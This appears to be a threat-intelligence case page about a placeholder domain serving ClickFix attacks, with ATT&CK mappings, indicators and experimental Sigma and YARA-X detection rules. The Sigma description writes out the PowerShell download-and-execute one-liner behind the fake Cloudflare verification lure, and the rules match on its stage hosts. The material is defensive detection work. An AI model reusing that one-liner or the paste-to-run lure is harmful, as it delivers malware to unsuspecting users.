CTI · reviewed · 2026-09-26

Placeholder domain used in dev docs now serves ClickFix attacks

Full story & timeline

Actors

—

Malware / tools

—

Campaigns

—

CVEs

—

Victim sectors

consumer

Geography

global

MITRE ATT&CK

T1189 Drive-by Compromise Initial Access
T1204 User Execution Execution
T1059 Command and Scripting Interpreter Execution

Indicators

Observables tied to this case, from the curated feed. raw sidecar

third-party.com domain · active
daf619aa8cc74dab02c360f46f9f4b7b1654ba478ee89992a3512a46f1f4c209 sha256 · expired

Detections

Detection content derived from this case analysis. Status: experimental — not validated against live telemetry.

Sigma raw

title: ClickFix Clipboard PowerShell From Fake Cloudflare Verification Page
id: 6f3c1d9a-4b2e-4a77-9c1d-8e5a2f0b7d31
status: experimental
description: Detects the ClickFix PowerShell one-liner that the third-party[.]com placeholder domain serves to Windows user agents. The fake Cloudflare "Performing security verification" page copies powershell "Write-Host(&{iex(irm('<stage-domain>/f'))})2>$null" to the clipboard and instructs the victim to press Win+R, paste and run it, downloading and executing the second-stage script.
references:
  - https://www.bleepingcomputer.com/news/security/placeholder-domain-used-in-dev-docs-now-serves-clickfix-attacks/
  - https://www.malwarebytes.com/blog/news/2026/09/criminals-turn-placeholder-domain-into-clickfix-trap
  - https://www.manifold.security/blog/placeholder-domains-ads-serve-scams
  - https://app.any.run/tasks/f325fdb1-9aae-4626-b7eb-098982ae58aa/
author: Tia N. List
date: 2026/09/26
tags:
  - attack.t1189
  - attack.t1204
  - attack.t1059
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
    CommandLine|contains|all:
      - 'Write-Host(&'
      - 'iex(irm('
      - '2>$null'
  selection_stagedownload:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
    CommandLine|contains:
      - 'elxxvvx'
      - 'update2.zip'
  condition: selection or selection_stagedownload
falsepositives:
  - Benign PowerShell one-liners constructed with the same Write-Host/iex(irm()) idiom
  - Red team or security validation exercises simulating ClickFix lures
level: high

YARA-X raw

rule ClickFix_PlaceholderDomain_ThirdPartyCom {
    meta:
        author = "Tia N. List"
        date = "2026-09-26"
        status = "experimental"
        description = "ClickFix lure attributed to the third-party[.]com placeholder domain: a clipboard PowerShell one-liner and second-stage download artifacts (elxxvvx[.]xyz/f, update2.zip) documented by Manifold Security, BleepingComputer and VirusTotal. Derived from case analysis — NOT validated against a live sample."
        reference = "https://www.bleepingcomputer.com/news/security/placeholder-domain-used-in-dev-docs-now-serves-clickfix-attacks/"
        falsepositives = "Researchers, sandboxes or red teams reproducing the published ClickFix chain; combine with the fake Cloudflare verification page and Win+R execution context before acting"
    strings:
        $cmd1 = "Write-Host(&{iex(irm('" ascii nocase
        $cmd2 = "iex(irm('" ascii nocase
        $cmd3 = "Verify you are human" ascii nocase
        $stage1 = "elxxvvx" ascii nocase
        $stage2 = "update2.zip" ascii nocase
    condition:
        (any of ($cmd*) and any of ($stage*)) or 2 of ($stage*)
}